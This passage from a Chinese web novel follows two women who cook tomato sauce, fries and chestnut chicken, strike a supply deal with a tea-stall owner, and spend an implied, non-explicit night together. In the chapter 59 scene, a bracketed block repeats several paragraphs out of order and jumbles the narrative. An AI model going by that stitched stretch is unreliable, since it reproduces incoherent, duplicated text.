煮到红色黏稠的汤开始咕噜咕噜冒泡泡时,就可以加入冰糖调味了。 江浔翻箱倒柜,只找出几颗冰糖,全部放入番茄酱中。 一点点糖压不下番柿的酸,番柿的酸味儿逐渐被煮出,满屋飘酸,扰地坐在院中写东西的阿雅不自觉口舌生津,咽口水都来不及。 第58章 热~ 在写话本的阿雅努力压下自己口舌生津的感觉, 让自己专注在纸笔之上,哪想落笔的字直接变成“番柿好香”。 回过神来的阿雅猛地吸口气,又重重叹气,放下手中的笔, 无奈地看向江浔。 算了算了, 休息会儿吧, 去看看浔姐姐在干嘛。 阿雅摇摇头,站起身走向江浔,脑袋朝锅中好奇地眺望。 锅里番柿被煮至黏稠,表面还浮起白色浮沫,红白相加,怎么看都不像是好吃的模样。 怎么闻着会这么香? “浔姐姐?你这是在做什么?吃的?”她走到灶台旁, 抬着小脸, 有些可爱。 江浔看一眼后,脑袋重重向一旁偏去, 脸上有些不高兴又有些傲娇, 像是不想理阿雅的模样。 可口中却诚实道:“我在做番柿酱, 可以吃,酸酸甜甜味道很好。等会儿我还会做一道吃食, 配上番柿酱是一绝。” “你快去继续写吧别管我, 晚食我来做就行。” 她也知道写话本是阿雅的职业, 自己当然得支持,像是现在她闲着没事做,就可以分担家中事务, 让阿雅专心创作。 不过她倒是没想到自己做的这样香, 都让阿雅不能专心啦! “原来是番柿酱。”阿雅点点头,没有听过这种说法, 不过他们这里做各种酱的人都有,她倒是没觉得意外,“那我今日就尝尝浔姐姐的手艺了?” “可我才说过给浔姐姐做好吃的,看来只有等下次了。” 听到她这话,江浔拿着锅铲搅动番柿酱的动作一顿,偏开的脑袋悄悄回望,眼神不断观察着阿雅的表情。 看阿雅这话说的是真是假。 她可真是两样都不想放弃,又想做好吃的给阿雅,又* 想吃阿雅做的东西。 看不出阿雅是什么意思,江浔纠结后,忍痛道:“那你今天好好休息,下次再给我做吧!” 说罢再次偏开头,继续搅动着锅里。 番柿酱想要保存得久,必须煮的足够黏稠,密封装进罐子里。 她现在做的番柿酱一天应该能吃完,所以就不用那么麻烦的保存,但接下来再做的番柿酱,就必须去买罐子装上了。 她其实很想买玻璃罐,也就是琉璃罐来装,可以透出番柿的红色,艳丽好看绝对吸引眼球。 不过琉璃价贵,一般都做成摆件,不会做成“装咸菜的坛子”,她也没那个本事让一群人为自己做琉璃罐。 只好作罢。 阿雅在一旁看着,见江浔脸上小表情生动,心里偷笑,口中故意道:“看来浔姐姐也不怎么想吃我做的东西,阿雅明白了。” 江浔:? 明白什么了? 她怎么不明白? 江浔一下又把头扭回来,难以置信看向阿雅,深邃眼眸中出现两个问号,显得有些呆呆的。 “我想吃。” 江浔病还没痊愈,此时嗓音又有点沙哑低沉,说出来的话虽简单,却撩动阿雅的心弦。 让阿雅的心猛地颤了一下。 怕阿雅以为她不真诚,江浔再次道:“我想吃。” 磁性嗓音转了一圈又一圈,落入阿雅耳朵中,让阿雅眸子不禁颤抖飘忽一瞬,才又看向面前的人。 黑色长发不似往日般扎起马尾,而是柔顺地贴在身后,有一缕不是那么听话,垂到胸前。 让江浔的脸部轮廓更显流畅利落,剑眉红唇,一切的一切都让阿雅心动。 她不知自己怎么了,明明就是很普通平常的一日,怎么自己就是会觉得脸红心跳,有些乱呢? 阿雅强行让自己镇定下来,像是什么都没发生般,道:“好,那我们一人做一部分菜,一起吃吧。” 都没有再逗江浔了。 江浔不明所以看向慌乱转到灶台后的阿雅,拿起一颗土豆就开始咔嚓咔嚓切着。 一会儿切片,一会儿切块。 怪怪的- 最终,阿雅切坏的土豆被江浔改成条状,煮熟,沥干水份裹上淀粉,放入油锅中炸成薯条了。 要注意的是,裹上淀粉的土豆条刚放入锅中炸的时候是软的,需要炸至土豆条变脆,才能在油锅中翻动。 江浔还往淀粉中加入了少许盐和胡椒粉,这样炸出来的薯条自带香酥咸味儿,不用蘸番柿酱也很好吃。 当然,要是蘸番柿酱的话,不会影响薯条本来的口感,只会让好吃程度更上一层楼! 江浔拿起一根薯条蘸番柿酱后,递到阿雅面前,示意阿雅吃。 阿雅没有见过这种吃法,犹豫着把薯条吃进嘴里,嚼嚼嚼,表皮酥脆内里柔软的薯条,再裹上一层酸酸甜甜的番柿酱,迸发出她从没有尝过的口感,感觉像是异域国度才会有的东西。 吃下一根后,她停顿住开始回味。 虽然从没有吃过,但这种口味她是能接受,并且觉得好吃的。 这下,也不用江浔喂了,阿雅自己端着装薯条的盘子,在旁边嚼嚼嚼着。 看她吃的那么香,江浔心中出现满足感,都想再做一锅奶茶出来,配着薯条一起吃了! 如此想着,江浔觉得等自己老了,拎不动打铁锤了,其实可以开个吃食店,就做点小吃,应该也会生活得很好。 她把自己用过的锅洗干净,询问道:“阿雅你打算做什么?需要我帮忙吗?” 阿雅还在像仓鼠一样嚼嚼嚼,听到问话,沉吟片刻,突然皱眉眼中泛泪道:“唔……” “怎么了?”江浔被她的反应吓一跳,赶忙把锅放好,走到阿雅身边抱住人,“是有哪里不舒服吗?怎么突然要哭了?” 不能是感动的吧? 她只是在询问一件小事啊?就感动的想哭了吗? 阿雅用手捂住自己的嘴,眼睛眯着,睫毛上挂上泪珠,用力摇头表示自己没事。 好一会儿才开口说话道:“太酸了。” 她一不小心蘸多了番柿酱,被酸到了不说,还咬到舌头了! 那疼痛,根本忍不了,眼泪瞬间涌出,这才失了态。 听到阿雅只是因为太酸才这样,江浔失笑,“好好好,我知道了,明日我就去买点冰糖,把番柿酱做甜一点。” 番柿的酸味不是那种难以忍受的酸,是清爽、果蔬味儿重的健康酸。 但糖确实是加少了,应该再多点,味道就会更好。 等阿雅缓过劲儿来,才开始说自己要做什么。 她打算做板栗烧鸡、煮玉米、蒸嫩蛋。 板栗是菜市买的生板栗,需要用盐水浸泡一段时间,再在板栗壳上划出十字,用滚烫的开水去烫,板栗壳就好剥一点。 江浔往锅里装入清水,先把玉米煮下锅。 等玉米煮好捞出放凉时,煮玉米的水就正好用来烫板栗。 空出来的锅则可以开始烧鸡了。 新买的三斤左右的肉鸡切块时,江浔故意拿着刀冲两只小鸡比划,嘴里道:“快快长吧,这就是你们的下场!” 两只小鸡在院中摇头晃脑的走着,根本没有发现案板上放的是自己的同类。 听到江浔似乎在和它们说话,它们停顿下脚步,交头接耳一番。 都表示自己听不懂后,便不再理江浔,继续摇头晃脑走着。 江浔也没管它们听不听的懂,说完就狠狠把刀宰在肉鸡身上,把鸡切块了。 阿雅在一旁配佐料,见状,默默端着薯条离远了些。 等鸡切好,她才站在锅边,热锅热油,把鸡块下锅去炒。 炒至鸡肉表面开始金黄时,就可以放入姜蒜、胡椒一类的香料,继续翻炒。 不一会儿锅中就冒起夹杂着香气的白烟,腥气也会被去除。 再加入酱油和糖进行提鲜,就可以加入大量清水进行闷煮了。 在阿雅做菜时,江浔就在旁边开始剥板栗。 开水早已变得温热,从中捞出一颗板栗,用小刀翘起划开的十字边,板栗壳咔一声就能剥开。 有时板栗里那层褐色的表皮剥不下,就用小刀轻轻削掉。 总的来说剥起来的速度还是快的。 鸡肉闷煮上,阿雅也来到江浔身边,同她一起剥板栗。 两个人的速度很快,不一会儿就把几十颗板栗剥好,倒入锅中跟着鸡肉一起小火闷煮。 因为晚食是吃玉米,所以就不用煮饭,直接啃玉米就行。 板栗烧鸡至少要两刻钟左右才能烧好,两人正好有机会坐在矮桌旁,吃着薯条,喝着荔枝蜜饯泡的水。 小日子过得还算悠闲。 只是薯条不能吃太多,怕一会儿吃不下其他菜了,阿雅便特意装了一点起来放着。 等板栗烧鸡快好时,她开始打散两个蛋,加入微烫但又不至于让鸡蛋液成蛋花的水。 放入另一个锅里蒸上。 一刻钟后,板栗烧鸡好了,蒸嫩蛋好了,放了许久的玉米也还温温热。 阿雅道:“浔姐姐吃饭了。” 江浔就立马出现在矮桌旁,一手拉着一根玉米,一手夹着一颗板栗。 板栗被烧到发红透亮挂着汤汁,一口咬下,粉粉糯糯,甜香四溢。 让江浔忍不住眼睛发亮,夸阿雅的手艺不输外面的大厨。 玉米也是那种嫩的软糯的甜玉米,只用清水煮都能煮出甜味儿。 天是澄澈的蓝,云是粉灰晕染着紫的蔷薇色,坐在这种美丽又宁静的天空之下,吃着最简单却有滋有味的饭菜。 江浔只觉四肢百骸都舒适无比。 吃完晚食不一会儿,谭木匠和媳妇徐浆娘就在她们铺子外叫她们了。 徐浆娘以前是做走街串巷卖茶水、酒水、豆浆等各色饮料买卖的。 现在自己在集市里租了一个摊位,固定着卖这些东西了。 因为卖的都是浆浆水水,所以被称为徐浆娘。 江浔和阿雅二人出去迎接谭木匠徐浆娘两人后,只有徐浆娘跟着她们进院子。 谭木匠则留在打铁铺门前开始修门。 他有听过阿雅的描述,所以还算做足准备,自己扛了块木头过来。 江浔铺子门是隔扇门,此时谭木匠只需要把原本嵌在左右门上的木片残片弄掉,用榫卯技术装上新木门便是。 谭木匠在修时,徐浆娘同江浔阿雅二人坐在矮桌旁,江浔为她倒上一碗荔枝蜜饯糖水,再拿出薯条,笑着道:“徐姐姐可要好好尝尝这吃食,你绝对没见过嘞。” 幸好阿雅有先见之明,留了一点薯条起来,否则还没东西招待徐浆娘嘞。 徐浆娘看着这新奇玩意儿,露出笑,打趣道:“你们这是又做什么好东西了?我可要品鉴一番。” 说着,她便用筷子夹起一根薯条,吃进嘴里。 还真别说,确实是她没吃过的新奇玩意儿,而且和现下有的所有茶果子口味都不一样。 是不同方向的好吃。 江浔又举起番柿酱碗,“来来来,再蘸点这个。” 蘸上番柿酱后,薯条口感更加独特,层次也更加丰富,在舌尖上绽放、碰撞。 徐浆娘连续吃几根薯条后,不禁停顿下来,回味又回味,才开始感叹道:“你们可真是不得了,做出来的东西都有意思极了。” “这东西要是能在我茶摊上卖就好了,好吃,有点噎人,绝对能让很多人点茶水的。” 此话一出,江浔和阿雅思维瞬间活跃起来,对视一眼,都觉得可行诶。 还可以赚点钱。 只是做番柿酱和薯条都需要花大量的时间,她们两人都有自己的事要做,很难再抽出时间做这些了。 江浔没着急表态,而是开玩笑般问道:“徐姐姐你说的可是真的?你要是真想这东西在你摊子上卖,那我就要和阿雅商与一下。” 徐浆娘只沉思几息,就立刻道:“我说的是真的,你和阿雅商与吧,我去给我家那木匠送水喝。” 她性子比较风风火火,比较爽利,想到什么事都会先做了再说,不会瞻前顾后。 她说完,端起桌子上糖水就往外走,留下江浔阿雅两人在院中好说话。 院中只有她们两人后,江浔率先道:“番柿酱和薯条制作方法都不算难,即便我们不告诉徐浆娘,她事后花功夫研究,也是能研究出来的。” 阿雅:“也是。我知道徐姐姐人好,但因为这做法不是独一无二的,如果让徐姐姐白白分我们钱,怕她会不乐意。” 因为简单,所以觉得不值。 徐姐姐人好,可能不会生出这种想法,但她们也得提前找到杜绝的方法。 她们现在只有两种方法可以选,要嘛就是直接把番柿酱和薯条的制作方法告诉徐浆娘,让徐浆娘给她们买方子的钱。 要嘛就是再把方子精进一下,加入提升口感且必不可少的步骤,以后就只能由她们来做这一步,再由徐浆娘卖出去,她们分红。 想创新谈何容易? 说不定她们两人凑在一起,抠破脑袋都想不出该怎么创新。 但直接卖方子也只能挣一笔快钱,并不能钱生钱。 怎么样都不是好办法。 以来想去,两人互相叹口气,挣钱都不知该怎么挣了。 “要不这样。”阿雅双手托着下巴,满脸愁容,“我以后就不写话本子了,就专心做番柿酱和土豆条怎么样?” 她们可以要求徐浆娘要卖这两样东西,就必须从她们这里拿货,大家一起赚钱。 只是她们中总有一人要抽出时间,做东西。 “不行。”江浔立马反对,“我们宁愿不挣这份钱,也不能让你放弃你想做的。” “或者,我专心卖吃食也行。” 江浔自觉也不是非常喜欢打铁,只是原主刚好会,她又刚好可以做下去罢了。 现在让她去卖吃食也行,反正她知道很多现代的好吃的,估计能卖得很好。 可她这话一出,阿雅也不愿意了,同样强硬道:“不行。” 阿雅也不希望江浔勉强。 这下,江浔也双手托着下巴,重重叹口气,不知该怎么办了。 要不先卖点吧? 反正番柿还多,限量卖总能等到下次番柿再成熟的。 ……等等! 江浔突然想到什么,身体咻地坐直起来,望向阿雅。 “其实重要的不是方子,是原材料啊!” “原材料?那是什么?”阿雅从没有听过这种说法。 “我们种的番柿和土豆都被人说过好吃对吧?那用我们自己种的番柿和土豆,做出来的番柿酱和土豆条,就是独一无二的。” “味道是绝对不会被超越的。” “反之,如果去菜市随便买任何一种番柿或土豆,味道是不能被保证的。” “因为其他人种的东西根本没有我们家的好吃!” 那么简单的道理,当初宋月柔就是因为她们种的土豆好吃,才和她们合作的。 没想到到了自己身上,反倒是不明白了。 如此好吃的番柿和土豆,还真不是菜市随便买就能买到的。 只有她们家能做出来。 她们可以和徐浆娘合作,提供番柿和土豆,让徐浆娘自己去做番柿酱和薯条来卖,她们收取卖番柿和土豆的钱,以及一部分红就行。 让两方成为合作关系,杜绝徐浆娘拿到方子赚到钱后,想毁约的情况。 听到江浔这么说,阿雅缓缓呼出一口气,身体放松下来。 困扰两人的事总算是解决,她道:“那我们明日直接把所有番柿都做成番柿酱吧。我们家地太小,即便收获很多,也不够,要不我们去哪个村里租几块地来种?” 在自家种地不仅番柿少,土豆也少,只够做小本买卖,做不成大生意。 “租地的事还得再想想,先和徐浆娘谈谈吧。” 如此说定后,两人一同走到铺子中,去找徐浆娘。 徐浆娘也和谭木匠谈过了,谭木匠没有异议,是绝对的支持徐浆娘。 江浔当着他们两人的面,直接道:“是这样的徐姐姐,做番柿酱和土豆条的方子都很简单,我也不愿意瞒你,土豆条好吃的地方不全在做法上,而是在我们家种的东西上。” “我完全可以把方子告诉你,你回去用其他的番柿和土豆试试,保准做不得一丝假。” 她话都说到这份上了,徐浆娘一边有些感动她能信任自己,直接告诉自己方子,一边又知道自己不说点什么的话,恐会波及情分。 “江妹子你要相信姐姐的品行,姐姐断不会干出那种背信弃义之事的。” “你今日那么信任我,能给我说方子,我当然也信任你,我们可以立马写字据,就把这件事定下来!” 说做就做,徐浆娘打了一下谭木匠的胳膊,就要让谭木匠回家取纸笔过来。 阿雅喊住他们,“我家里有纸笔,我去取来。” 她去取之时,江浔同徐浆娘说了两人如何合作之事,听到是必须在江浔这里买番柿,后续还要重新写字据买土豆,徐浆娘也没觉得有什么。 甚至还觉得江浔为她解决了每天需要采买这件麻烦事,人好的嘞。 “番柿和土豆江妹子你不能卖贵了吧?” 江浔:“自然是不会诓骗徐姐姐的,与市价无异。” 最终两人还是商量了一下番柿的价钱,取了个中间值,写在字据上。 这样对两方来说都有保障。 如此定下后,谭木匠修好铁匠铺的门,江浔又给谭木匠说自家需要搭建鸡窝的事,商量好下次谭木匠上门的时间,徐浆娘才提着江浔给的好几个番柿,同谭木匠离开。 解决了这么一桩大事,江浔和阿雅心情都很好,甚至想吃点喝点呢。 不过家里没有酒,土豆条也被吃完,只能啃啃玉米,喝喝中药了。 中药当然也只有江浔一人喝,毕竟只有她一人觉得自己需要补一下。 毕竟这中药还是挺有效的,中午喝完,她就觉得自己浑身热乎乎的,四肢也不怎么酸疼了。 感觉再喝几服,身体就能彻底好过来。 睡觉前,两人一前一后沐完浴,才躺在床上。 可不知怎么回事,沐完浴的江浔觉得自己身体开始越来越热,越来越烫。 与之前发热无异,只是头脑清醒许多。 这是怎么了? 虚不受补了? 她平躺在床上,怀中的阿雅都有些抱不住了。 只能悄悄把被子掀开一半,让自己身体晾在外面,冷静一下。 随着时间的推移,她开始热到觉得阿雅的体温是凉的。所以又紧紧抱住阿雅,想从阿雅身上汲取一点凉爽。 阿雅今日很累,本是沾床就睡着,结果被江浔蹭来蹭去,蹭醒了。 她有些迷糊,声音软软问道:“浔姐姐,怎么了?” 很小声,像是夜深人静中的暧昧小话。 轰一下就在江浔耳边炸开,让江浔知道自己想要什么了。 第59章 甜~ 四周静悄悄的, 虫鸣鸟叫尽失,黛色的天空高又远,唯一的几颗星子像水中影,看得见摸不着。 江浔滚烫手掌悄无声息贴在阿雅的后腰上, 粗粝指尖轻微摩挲。 皮肤的震颤顺着血肉和筋骨慢慢往上攀爬, 仿若大海边, 雾红贝壳规整凸起的表面被细沙摩擦着,发出沙沙的声响。 那是灵魂与此共鸣发出的声响。 【第二日,阿雅还困得不行,躺在床上不想起。 反观江浔就无比神清气爽,病也好了,身体也不热了, 感觉能猛猛扛十头牛了。 她比阿雅先起床, 洗漱完后就把昨夜剩下的玉米蒸在锅里,等阿雅起来后一起吃早食。 弄好, 她又烧上一锅水, 才开始处理那些有些软的, 或被磕碰叨到的番柿。 大木盆放在院中,从水井里打出两桶水装入大木盆中, 再提着背篓, 把里面的番柿咕咚咕咚倒入。 晶莹剔透的水珠溅起, 个大鲜红的番柿在水中沉沉浮浮,看着就讨喜。 江浔挨个把它们洗过后,装入新的容器中, 放在灶台上。 揭开锅盖, 锅中烧的水已经打着旋儿、冒起翻腾的白烟了。 热气扑面,让江浔的鼻尖起了层水雾。 她把白烟扇开, 锅盖放在一旁,拿起几个番柿放在案板上,一颗一颗划着十字。 划好,就把这些番柿轻放入热水之中。 水虽然没开,但温度已经够了,江浔一连放入八丨九个,让整个水面都被番柿占据。几息后,番柿表层的皮便打了卷,皱巴巴得了。 这个时候,就可以用大漏勺把番柿全都捞起来放在一边,继续在下一批番柿的身上划十字,放入锅中烫。 江浔速度很快,几十斤番柿她没用到半个时辰就烫完。 正好这时阿雅从房内揉着眼睛,扶着腰走出,看见她已经开始忙碌了,道句早便快速洗漱完准备帮忙…… “别急别急。”见阿雅一来就要拿着番柿开始剥皮,江浔牵过她的手在手中捏了捏,同时另一只手打开热着玉米的锅盖,道:“我们先吃东西吧,吃饱了才有力气干活。” 她身形比阿雅高挑许多,肩也宽许多,从上至下几乎能把阿雅全部遮住。 江浔全身温度太高,就跟她前几日生病时一样,都让阿雅有些害怕了。 第二日,阿雅还困得不行,躺在床上不想起。 水虽然没开,但温度已经够了,江浔一连放入八丨九个,让整个水面都被番柿占据。几息后,番柿表层的皮便打了卷,皱巴巴得了。 这个时候,就可以用大漏勺把番柿全都捞起来放在一边,继续在下一批番柿的身上划十字,放入锅中烫。 江浔速度很快,几十斤番柿她没用到半个时辰就烫完。 可迷亂间见江浔精气神十足,阿雅又觉得自己想太多,还是专注怎么能让对方放过自己吧。】 阿雅悶哼,抬起手似乎想抓住什么,不过星子离她很远,床帏离她也很远。 只是一方镜花水月罢了。 江浔的手攀附到她的手指间,同她十指相扣,让她不要去抓那些不切实际的东西。 有更真实,更坚定的事物在等着她- 第二日,阿雅还困得不行,躺在床上不想起。 反观江浔就无比神清气爽,病也好了,身体也不热了,感觉能猛猛扛十头牛了。 她比阿雅先起床,洗漱完后就把昨夜剩下的玉米蒸在锅里,等阿雅起来后一起吃早食。 弄好,她又烧上一锅水,才开始处理那些有些软的,或被磕碰叨到的番柿。 大木盆放在院中,从水井里打出两桶水装入大木盆中,再提着背篓,把里面的番柿咕咚咕咚倒入。 晶莹剔透的水珠溅起,个大鲜红的番柿在水中沉沉浮浮,看着就讨喜。 江浔挨个把它们洗过后,装入新的容器中,放在灶台上。 揭开锅盖,锅中烧的水已经打着旋儿、冒起翻腾的白烟了。 热气扑面,让江浔的鼻尖起了层水雾。 她把白烟扇开,锅盖放在一旁,拿起几个番柿放在案板上,一颗一颗划着十字。 划好,就把这些番柿轻放入热水之中。 水虽然没开,但温度已经够了,江浔一连放入八丨九个,让整个水面都被番柿占据。几息后,番柿表层的皮便打了卷,皱巴巴得了。 这个时候,就可以用大漏勺把番柿全都捞起来放在一边,继续在下一批番柿的身上划十字,放入锅中烫。 江浔速度很快,几十斤番柿她没用到半个时辰就烫完。 正好这时阿雅从房内揉着眼睛,扶着腰走出,看见她已经开始忙碌了,道句早便快速洗漱完准备帮忙。 “别急别急。”见阿雅一来就要拿着番柿开始剥皮,江浔牵过她的手在手中捏了捏,同时另一只手打开热着玉米的锅盖,道:“我们先吃东西吧,吃饱了才有力气干活。” 江浔用筷子把锅里玉米戳起来,一人举着一根开始啃着。 又甜又糯的玉米吃进嘴中,很快就唤醒阿雅早起还有些发懵的精神,让她能元气满满的开始新的一天。 早食不用吃太饱,随便垫垫就行,阿雅只吃了一根玉米,就感觉有些饱了。 江浔吃了两根。 吃完饭,两人一内一外站在灶台边开始给番柿去皮。 这个过程很繁琐,索性有两个人一起,又能聊会儿天又能加快效率。 阿雅:“李屠妇送的半扇猪肉不能再放了,做成酱肉吧。” 现下天气转凉,猪肉也时刻被镇在深井中,确实坏得慢,但也不是不会坏。 她们两人又吃不完,得赶紧想法子储存起来。 正好上次做的酱肉大家都还爱吃,等做好后,给大家分点,自己再吃点,就能用完了。 “好,等把番柿酱做好,我就开始处理猪肉。”江浔手上动作不停,指尖被红色汁水沾染,“我已痊愈,可以活动活动了。” 身体康健并且蕴含力量,让她一点也不想干躺着,都快躺生锈了,就是要多干活多消耗精力才是好的。 两人谈完做酱肉的事,阿雅又重起个话头道:“浔姐姐,你有没有觉得我长高了些?” “长高?” 江浔抬眼朝阿雅头顶望去,乌黑秀发顺着垂下,被挽在耳后,微风吹过时还会飘起几缕,似仙非仙。 她眼神上下扫过,又左右扫过,脸上出现丝疑惑和纠结道:“好像是有点?” 两人一直都待在一起,江浔每天都能看见阿雅,对于细微的变化不是那么好发现的。 她就觉得阿雅昨日是这样,今日也是这样,最多今日比昨日更加好看,杏面桃腮、莲脸生春。 见江浔没有看出变化,阿雅瞪她一眼,脸上带上有些害羞的粉,笃定道:“有变高的,浔姐姐不信的话,我们一会儿去外面的制衣铺量量。” 她是如何知道有变高的呢? 是昨夜她双腿夹住江浔腰时,好像能更容易了,成亲之日都没有这种感觉的。 结果给浔姐姐说,浔姐姐也根本就不清楚,真是气人。 大白日的想到这些,阿雅心中羞得不行,眼神却越发“凶神恶煞”瞪向江浔。 搞得江浔只好放下手中的番柿,绕到阿雅面前,把人抱在怀中,摇晃来摇晃去,“是是是,阿雅有长高的,都怪姐姐不好,没有注意到阿雅的变化,以后我一定会第一时间发现阿雅的变化的。” “好不好?” 面对阿雅,江浔是会撒娇的。 脑袋在阿雅脸颊处蹭来蹭去,还时不时偷亲几下,眼巴巴望着她,希望她能饶了自己。 当然,江浔是不会承认自己这样是撒娇的。 “好吧,以后浔姐姐可不能这样了。” 阿雅被江浔蹭得舒适,唇微微翘起,明明想笑,却还要装出一副勉强答应的模样,还偷偷扭过头在江浔脸上也亲了一下。 抱在一起后,两人就没再分开,反正江浔手臂长,能拥抱住阿雅的同时剥番柿皮。 一点都不影响做事。 很快,一大盆番柿处理好切成碎块后,放入锅里煮。 煮的时候要不停搅动,顺便把番柿碎块压成泥。 江浔道:“阿雅你先守着这锅,我要出去买罐子和冰糖。” 这点番柿酱用不了多少罐子,直接去铺子里买就行。 从阿雅那里拿到银钱后,江浔就出门来到很早之前她买过药罐的那家铺子,在铺子里买了两个大陶罐。 说是陶罐,其实有点像酒坛子,正好可以让她们密封保存番柿酱。 买完罐子,江浔又在这里定了十个大陶罐,让送货上门。 这十个大陶罐,是用来装好的番柿做成的番柿酱。 江浔估摸着是够用的。 扛着两个大陶罐走在街上,让更多人知道她不仅没有什么病,甚至身体还比以前更厉害! 回到家中,把冰糖全部放入锅中,熬煮融化、入味,便可以把所有番柿酱全都装入陶罐中。 江浔以为一个罐子就够了,没想到第二个罐子都装了大半才装完。 这下连装酱肉的罐子也没有了,她只好又略显尴尬的再买个罐子扛回家。 弄好番柿酱,两人休息一会儿,随意弄了点午食来吃。 吃完,才开始准备做酱肉。 酱肉之前做过,现在做起来也方便,迅速把半扇猪身上适合做酱肉的地方剔掉,大半瘦肉小半肥肉一起下锅炸。 做好后密封在罐子里,放置几天就可以了。 做完酱肉,都还剩下几节猪排骨,阿雅大手一挥便是以后几天都吃排骨! 各种排骨换着做! 此话一出,江浔都开始流口水了! 第60章 用作她用 把肉酱罐子放好, 两人又把鸡喂了喂,地里的草啊虫啊除掉,这才迎来一点休息时间。 还别说,病好后做点活发发汗, 江浔感觉自己人都精神点。 申时, 也就是下午三点过, 江浔在铺子里擦着铁具,准备开铺子。 巧的是,她刚一开铺子徐浆娘就从不远处快步走近,两人对视上,徐浆娘忍不住大声道:“江妹子你们家的番柿真是好啊!” 她昨日回去后,迫不及待咬了口江浔给她的番柿。 入口先是酸味刺激的她舌头发颤, 再是甜味儿慢慢充斥满口腔, 咀嚼间沙沙脆音发出,和乳糖真雪的口感别无二异。 乳糖真雪是前段日子天气热时, 她常吃的东西。 把加了糖的牛乳熬制到浓稠是为乳糖, 再把冰块磨成碎屑状, 乳糖倾倒在上面,乳糖真雪就做好了。 有时每家铺子为突出自己的东西好吃, 还会在上面加上各种果子、元子、花瓣, 艳丽的颜色不仅好看, 吃起来也是别有一番风味。 要是江浔见过乳糖真雪的话,绝对会认出这和她曾吃过的沙冰、刨冰很是相像。 徐浆娘嚼着番柿,觉得要是现下天气还炎热, 只用把番柿放入水井中镇凉, 拿出去卖。 恐会有许多人喜欢。 她没多吃,咬完一口后, 就强忍着还想吃的欲望,开始准备做番柿酱。 番柿酱做好,她用筷子蘸点放入嘴中,眼神亮了一下,暗叹江浔没有骗她。 给她说的方子果然是对的,她自己做出来的番柿酱与江浔做出来的味道并无不同。 都是一样的浓稠绵密,酸甜可口。 可这也并不能代表只有江浔家种出来的番柿,有这么好吃吧? 她家里没有番柿,徐浆娘很想立刻就去买别家种的番柿做来试一下,可这个时候去菜市也太迟了,不太可能买到。 想是这么想,徐浆娘依旧出了趟门去菜市碰碰运气,结果当然是没有买到番柿。 她垂头丧气回到家中,心痒难耐,连睡觉都睡不好,翻来覆去想着明日几时去菜市比较好?明日几时才能知道别家的番柿,做出的番柿酱是不是也一样好吃? 她还要开茶水摊子,没有多少时间来熬番柿酱,让谭木匠来熬? 不不不,她想亲力亲为。 那就开完摊子再弄! 徐浆娘在心中盘算来盘算去,一整晚几乎没怎么睡觉,天蒙蒙亮时就一骨碌起床朝外走。 她身边的谭木匠睁了下眼,太困,又什么都不清楚地闭上了。 徐浆娘踏着朦朦夜色与天将亮的微光,快步赶到菜市。 人卖菜的阿婆大爷们背篓都还没放下呢,就率先卖出去好几颗番柿。 徐浆娘从街头走到街尾,把所有在卖的番柿都买了一遍。 但她早晨没有时间做,只能提着布袋子到自己茶水摊子上,先出摊,一直卖到下午,摊子上的人才终于少了点。 她把摊子收了,回到家中开始熬制番柿酱。 用每种番柿熬制时,她都无比认真,保证不会在熬制手艺上出差错。 总共熬出十八碗不一样的番柿酱。 她每碗都尝过了,还真就是江浔家的番柿熬出来的酱最好吃。 嚯,徐浆娘有些难以置信,别人的还是地里精心种的,居然比不过江浔家在院墙下种的好吃吗? 要是被那些精心种地的人知道,还不得哭出来? 徐浆娘端着江浔家番柿熬出来的番柿酱,边吃边咂舌,赞叹确实不错,赞叹江浔这人真诚。 必须进江浔家的货,听起来太过霸道,实际上完全是为她考虑啊! 她去进别人的货,才真是赔本买卖! 想到这里,徐浆娘风风火火挎了个篮子出门,来找江浔了!- 刚打开铺子门就遇见徐浆娘,江浔招呼道:“快来坐,怎么了徐姐姐,找我有事?” 风风火火赶来的徐浆娘坐在椅子上拍着胸口喘气,江浔就站在一旁继续擦着铁具,等着她* 开口。 铁具有些日子没人管,都落灰了,要擦的瓦光锃亮才看得过眼。 徐浆娘喘匀气后,笑呵呵开口道:“江妹子,你以后就是我的亲妹子了!” 嚯这辈分,真是乱套,江浔擦铁具的手顿了一下,才继续擦着。 “姐姐一定好好琢磨,让全镇人都尝到番柿酱和土豆条的好!” “你家那番柿可真不一样,比全镇的番柿都好吃,你以后肯定是能挣大钱的料。” “我可得庆幸认识了妹子你啊,不然只能在旁边干瞪眼了,其他人那番柿……” 徐浆娘不愧是生意人,嘴皮子利索,上下一碰就能说出一长串漂亮话。 听的江浔面上是稳重含蓄的笑,内心里都快跳了支舞了! 徐浆娘叽里呱啦说着,江浔时不时插上句话,两人都还算聊的可以。 直至日头都有些西下了,徐浆娘才开始说道重点。 “这是我带来的银钱,是买方子和货的钱。等到时我要开始卖了,定叫上你们凑热闹!” 真的要开始卖土豆条这种新吃食,前置工作与噱头可少不了,徐浆娘心中已经有些想法了,还得好好合计合计才行。 江浔接过五两银子,心情特别不错,“好好好,到时候我和阿雅一起帮忙!” 她们是合作关系,她还要收徐浆娘的分红嘞,所以能帮忙则帮忙。 像是做番柿酱,她们可以提前个三五天帮徐浆娘做好,徐浆娘就不用那么累。 至于炸土豆条,不能这么早做,现炸现卖的才好吃。 她们就帮不上什么忙了。 徐浆娘:“还有这是我自家种的小南瓜,用来蘸酱吃很不错,你和阿雅都尝尝。” 她把篮子上盖着的布拉开,露出里面一篮子个头小小却肚子圆圆的小南瓜。 小南瓜呈青绿色,尖端还开着黄色的南瓜花,很是可爱。 “小南瓜?” 江浔有些疑惑,这小南瓜还没她拳头大,不知道为什么要这么早就摘下来。 徐浆娘:“就是常吃的那种南瓜没长大的,天气冷了,这些南瓜再长都长不大,只会坏在地里,还不如先摘来吃了。” “你就白水煮了后蘸酱吃,那可真是香的没边,南瓜花也是一样,可以直接吃。” 听到徐浆娘这么说,江浔也就没有多想,把里面的小南瓜全部拿出放在桌子上。 “好,正好我和阿雅今日才做了酱,等酱好了我们就试试。” 外面街上逐渐炊烟袅袅,徐浆娘也不好再在打铁铺子里待着了,怕成了想来蹭饭,所以才故意拖到吃晚食的那种人。 她站起身,同江浔道别,“那江妹子,我就先行离开了,等我的好消息。” 江浔挽留了几句,才同徐浆娘告别,把人送出去。 正好也可以关上铺子门,休息了。 她来到院中,阿雅已经在做吃的了。 炒了一道肉丝一道青菜,用萝卜炖了说好的排骨,把碗装得满满当当,对于两人来说是很丰盛的。 睡前,江浔把今日得的五两银子递给阿雅,看着阿雅坐在梳妆柜前,打开上面挂着铁锁的一个抽屉。 把五两银子放进去,又把里面所有银子数了又数。 才上床睡觉- 